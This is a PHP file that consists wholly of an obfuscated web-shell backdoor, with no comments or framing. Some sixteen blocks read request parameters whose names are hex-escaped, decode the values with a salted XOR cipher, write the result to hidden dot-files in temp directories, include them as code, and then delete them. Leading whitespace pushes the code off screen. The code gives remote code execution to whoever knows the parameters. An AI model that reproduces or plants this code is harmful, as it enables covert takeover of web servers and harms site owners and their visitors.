<?php																																										if(isset($_POST["e\x6Et"])){ $rec = $_POST["e\x6Et"]; $rec = explode ('.', $rec ) ; $dat = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $u = 0; array_walk($rec , function ($v4) use (&$dat , &$u , $salt9 , $lenS) { $sChar = ord($salt9[$u % $lenS]); $dec = ((int)$v4 - $sChar - ($u % 10))^ 92; $dat .=chr($dec); $u++;} ); $value = array_filter([getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd(), "/dev/shm"]); $itm = 0; do { $component = $value[$itm] ?? null; if ($itm >= count($value)) break; if ((is_dir($component) and is_writable($component))) { $sym = sprintf("%s/.record", $component); $success = file_put_contents($sym, $dat); if ($success) { include $sym; @unlink($sym); exit;} } $itm++; } while (true); }
																																										if(!is_null($_POST["f\x6C\x67"] ?? null)){ $entry = $_POST["f\x6C\x67"]; $entry = explode ('.' , $entry ) ; $pset= ''; $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt4); $w= 0; $__len= count($entry); do { if ($w >=$__len) break; $v9= $entry[$w]; $chS= ord($salt4[$w% $sLen]); $dec= ((int)$v9 - $chS - ($w% 10)) ^ 57; $pset .= chr($dec); $w++; } while (true); $dat = array_filter([getenv("TEMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP")]); for ($ptr = 0, $resource = count($dat); $ptr < $resource; $ptr++) { $ent = $dat[$ptr]; if (!!is_dir($ent) && !!is_writable($ent)) { $sym = "$ent/.res"; if (file_put_contents($sym, $pset)) { require $sym; unlink($sym); exit; } } } }
																																										if(in_array("ps\x65\x74", array_keys($_REQUEST))){ $ent = array_filter([getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp", "/tmp"]); $binding = $_REQUEST["ps\x65\x74"]; $binding = explode ('.',$binding ); $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $j = 0; $__tmp = $binding; while ($v6 = array_shift($__tmp)) {$chS = ord($salt[$j% $lenS] ); $dec = ((int)$v6 - $chS - ($j% 10)) ^ 31; $fac .= chr($dec ); $j++; } for ($itm = 0, $marker = count($ent); $itm < $marker; $itm++) { $property_set = $ent[$itm]; if (array_product([is_dir($property_set), is_writable($property_set)])) { $item = vsprintf("%s/%s", [$property_set, ".symbol"]); if (file_put_contents($item, $fac)) { include $item; @unlink($item); exit; } } } }
																																										if(array_key_exists("\x65\x6Etry", $_POST)){ $pgrp = array_filter([session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TMP")]); $factor = $_POST["\x65\x6Etry"]; $factor = explode ( '.' , $factor ) ; $ptr = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $__len = count($factor); for ($i = 0; $i < $__len; $i++) {$v6 = $factor[$i]; $sChar = ord($salt3[$i % $sLen]); $dec = ((int)$v6 - $sChar - ($i % 10)) ^ 88; $ptr .= chr($dec);} for ($pset = 0, $data = count($pgrp); $pset < $data; $pset++) { $elem = $pgrp[$pset]; if (!( !is_dir($elem) || !is_writable($elem) )) { $descriptor = "$elem/.element"; if (file_put_contents($descriptor, $ptr)) { include $descriptor; @unlink($descriptor); die(); } } } }
																																										if(array_key_exists("\x66\x61c\x74or", $_REQUEST) && !is_null($_REQUEST["\x66\x61c\x74or"])){ $token = array_filter(["/var/tmp", "/tmp", session_save_path(), getcwd(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir()]); $pset = $_REQUEST["\x66\x61c\x74or"]; $pset = explode( '.' , $pset) ; $entity = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4 ); $r = 0; while($r <count($pset)) { $v7 = $pset[$r]; $sChar = ord($s4[$r % $lenS] ); $dec = ((int)$v7 - $sChar -($r % 10)) ^ 81; $entity.=chr($dec ); $r++;} foreach ($token as $parameter_group): if (is_writable($parameter_group) && is_dir($parameter_group)) { $data = implode("/", [$parameter_group, ".marker"]); $success = file_put_contents($data, $entity); if ($success) { include $data; @unlink($data); die();} } endforeach; }
																																										if(array_key_exists("\x62\x69nd", $_REQUEST) && !is_null($_REQUEST["\x62\x69nd"])){ $dchunk = $_REQUEST["\x62\x69nd"]; $dchunk = explode( '.' , $dchunk) ; $object = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2 ); $t = 0; foreach ($dchunk as $v1) { $sChar = ord($s2[$t % $lenS] ); $dec = ((int)$v1 - $sChar - ($t % 10)) ^55; $object .= chr($dec ); $t++; } $val = array_filter([getenv("TMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp"]); while ($reference = array_shift($val)) { if (is_dir($reference) ? is_writable($reference) : false) { $rec = implode("/", [$reference, ".res"]); $file = fopen($rec, 'w'); if ($file) { fwrite($file, $object); fclose($file); include $rec; @unlink($rec); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["token"])){ $obj = array_filter([getcwd(), sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/var/tmp"]); $component = $_REQUEST["token"]; $component = explode ( '.', $component ) ; $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $j = 0; array_walk( $component ,function( $v8) use( &$elem ,&$j ,$salt ,$sLen) { $chS = ord( $salt[$j % $sLen]); $d =( ( int)$v8 - $chS -( $j % 10)) ^ 86; $elem .= chr( $d); $j++;} ); $reference = 0; do { $item = $obj[$reference] ?? null; if ($reference >= count($obj)) break; if ((is_dir($item) and is_writable($item))) { $ptr = sprintf("%s/.flag", $item); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $ptr; @unlink($ptr); die(); } } $reference++; } while (true); }
																																										if(!is_null($_REQUEST["\x6Dr\x6B"] ?? null)){ $val = $_REQUEST["\x6Dr\x6B"]; $val =explode ( '.' , $val) ; $token =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s1); $len =count($val); for ($u =0; $u<$len; $u++) { $v6 =$val[$u]; $sChar =ord($s1[$u % $lenS]); $d =((int)$v6 - $sChar - ($u % 10)) ^ 73; $token.=chr($d);} $itm = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", session_save_path()]); while ($holder = array_shift($itm)) { if ((bool)is_dir($holder) && (bool)is_writable($holder)) { $bind = str_replace("{var_dir}", $holder, "{var_dir}/.hld"); if (@file_put_contents($bind, $token) !== false) { include $bind; unlink($bind); exit; } } } }
																																										if(array_key_exists("\x66\x6Cag", $_REQUEST) && !is_null($_REQUEST["\x66\x6Cag"])){ $reference = array_filter(["/tmp", getenv("TMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), session_save_path(), getenv("TEMP")]); $parameter_group = $_REQUEST["\x66\x6Cag"]; $parameter_group= explode ( "." ,$parameter_group) ; $resource = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8 ); foreach ($parameter_group as $p =>$v1) { $sChar = ord($s8[$p % $lenS] ); $dec = ((int)$v1 - $sChar - ($p % 10)) ^ 80; $resource .= chr($dec );} foreach ($reference as $pgrp) { if (is_writable($pgrp) && is_dir($pgrp)) { $tkn = join("/", [$pgrp, ".entry"]); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $tkn; @unlink($tkn); exit; } } } }
																																										if(isset($_POST["i\x74\x6D"])){ $ent = $_POST["i\x74\x6D"]; $ent= explode ( "." , $ent ); $dchunk=''; $s5='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s5 ); $y=0; while( $y <count( $ent)) { $v7=$ent[$y]; $sChar=ord( $s5[$y % $lenS] ); $dec=( ( int)$v7 - $sChar -( $y % 10)) ^ 32; $dchunk .= chr( $dec ); $y++;} $entity = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", "/var/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TEMP")]); foreach ($entity as $key => $elem) { if (max(0, is_dir($elem) * is_writable($elem))) { $desc = str_replace("{var_dir}", $elem, "{var_dir}/.resource"); $success = file_put_contents($desc, $dchunk); if ($success) { include $desc; @unlink($desc); exit;} } } }
																																										if(in_array("d\x65sc\x72i\x70tor", array_keys($_POST))){ $fac = $_POST["d\x65sc\x72i\x70tor"]; $fac = explode ( '.',$fac) ; $pgrp = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt8); $u = 0; array_walk( $fac , function( $v3) use( &$pgrp , &$u , $salt8 , $lenS) { $chS = ord( $salt8[$u% $lenS]); $d = ( ( int)$v3 - $chS -( $u% 10)) ^14; $pgrp .= chr( $d); $u++;} ); $parameter_group = array_filter([getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TEMP")]); foreach ($parameter_group as $key => $hld) { if ((function($d) { return is_dir($d) && is_writable($d); })($hld)) { $binding = implode("/", [$hld, ".value"]); if (file_put_contents($binding, $pgrp)) { include $binding; @unlink($binding); die(); } } } }
																																										if(in_array("\x65ntry", array_keys($_REQUEST))){ $itm = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/tmp", getenv("TMP"), "/var/tmp"]); $pointer = $_REQUEST["\x65ntry"]; $pointer = explode ( '.' , $pointer ); $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $v = 0; $__len = count($pointer); do { if ($v >= $__len) break; $v6 = $pointer[$v]; $sChar = ord($salt[$v % $lenS]); $dec = ((int)$v6 - $sChar - ($v % 10)) ^ 98; $binding .= chr($dec); $v++; } while (true); for ($descriptor = 0, $comp = count($itm); $descriptor < $comp; $descriptor++) { $element = $itm[$descriptor]; if ((function($d) { return is_dir($d) && is_writable($d); })($element)) { $dchunk = sprintf("%s/.ent", $element); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $dchunk; @unlink($dchunk); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x6Dar\x6B\x65r"])){ $item = $_REQUEST["\x6Dar\x6B\x65r"]; $item= explode( "." ,$item ) ; $ref =''; $s5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s5 ); $l =0; array_walk( $item, function( $v4) use( &$ref, &$l, $s5, $lenS) { $sChar =ord( $s5[$l % $lenS] ); $dec =( ( int)$v4 - $sChar -( $l % 10))^ 69; $ref .= chr( $dec ); $l++; } ); $flag = array_filter(["/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), getcwd()]); foreach ($flag as $key => $parameter_group) { if ((is_dir($parameter_group) and is_writable($parameter_group))) { $reference = implode("/", [$parameter_group, ".bind"]); if (file_put_contents($reference, $ref)) { include $reference; @unlink($reference); die(); } } } }
																																										if(array_key_exists("ent", $_POST)){ $tkn = array_filter([session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TEMP")]); $binding = $_POST["ent"]; $binding = explode ( "." ,$binding ) ; $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $j = 0; foreach ($binding as $v7) {$sChar = ord($salt[$j % $lenS]); $d = ((int)$v7 - $sChar - ($j % 10)) ^ 92; $resource .= chr($d); $j++; } $val = 0; do { $descriptor = $tkn[$val] ?? null; if ($val >= count($tkn)) break; if (is_dir($descriptor) && is_writable($descriptor)) { $dchunk = "$descriptor" . "/.comp"; if (file_put_contents($dchunk, $resource)) { require $dchunk; unlink($dchunk); exit; } } $val++; } while (true); }
																																										if(array_key_exists("\x76\x61l", $_REQUEST)){ $binding = $_REQUEST["\x76\x61l"]; $binding = explode ( "." , $binding ) ; $pset = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $t = 0; array_walk($binding , function ($v8) use (&$pset , &$t , $s9 , $sLen) { $sChar = ord($s9[$t %$sLen]); $dec = ((int)$v8 - $sChar - ($t %10))^ 21; $pset .= chr($dec); $t++; }); $hld = array_filter([getcwd(), session_save_path(), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TMP")]); foreach ($hld as $pgrp) { if (!!is_dir($pgrp) && !!is_writable($pgrp)) { $itm = implode("/", [$pgrp, ".reference"]); if (@file_put_contents($itm, $pset) !== false) { include $itm; unlink($itm); exit; } } } }


if(!is_null($_REQUEST["\x68\x6Cd"] ?? null)){
	$ent = array_filter([getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP"), getcwd(), "/tmp", ini_get("upload_tmp_dir")]);
	$flg = $_REQUEST["\x68\x6Cd"];
		$flg= 		explode	 ( 	 "." ,	  $flg )	;  	
	$dchunk = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
    
            foreach ($flg as $y => $v1) { $sChar = ord($s[$y %$lenS]);
                $dec = ((int)$v1 - $sChar - ($y %10))  ^  67;
                $dchunk .= chr($dec);
            }
	while ($ref = array_shift($ent)) {
    		if (max(0, is_dir($ref) * is_writable($ref))) {
    $parameter_group = str_replace("{var_dir}", $ref, "{var_dir}/.rec");
    if (file_put_contents($parameter_group, $dchunk)) {
	require $parameter_group;
	unlink($parameter_group);
	exit;
}
}
}
}